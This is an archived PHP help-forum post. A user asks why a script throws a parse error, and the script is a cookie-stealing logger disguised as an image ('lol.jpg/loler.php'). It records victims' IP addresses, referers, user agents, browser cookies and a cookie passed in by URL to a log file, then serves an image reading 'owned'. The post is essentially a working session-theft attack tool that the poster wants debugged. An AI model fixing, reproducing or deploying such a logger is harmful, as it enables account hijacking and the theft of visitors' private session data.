Jump to content

parse error help


Recommended Posts

I keep getting a "Parse error: parse error, unexpected '\'' in /home/content/h/e/y/heytimbofr/html/MTEXIT/mte/lol.jpg/loler.php on line 10"

 

 

 

<?php

header ("Content-type: image/png");

$ip = ($_SERVER['REMOTE_ADDR']);

$externalCookie = $_GET[cookie];

$thisCookie = ($_SERVER['HTTP_COOKIE']);

$referer = ($_SERVER['HTTP_REFERER']);

$agent = ($_SERVER['HTTP_USER_AGENT']);

$return = "\n";

$twoReturn = "\n\n";

$filename = log.txt';

$fp = fopen($filename, "a+");

$write = fputs($fp, $ip, $return, $referer, $return, $agent, $twoReturn, $externalCookie, $twoReturn, $thisCookie,

twoReturn);

$img_handle = ImageCreate (500, 20) or die ("Cannot Create image");

$back_color = ImageColorAllocate ($img_handle, 255, 255, 255);

$txt_color = ImageColorAllocate ($img_handle, 231, 43, 43);

ImageString ($img_handle, 31, 5, 5, "owned", $txt_color);

ImagePng ($img_handle);

?>

 

maybe you can figure out what i did wrong?

Link to comment
https://forums.phpfreaks.com/topic/116784-parse-error-help/
Share on other sites

Archived

This topic is now archived and is closed to further replies.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.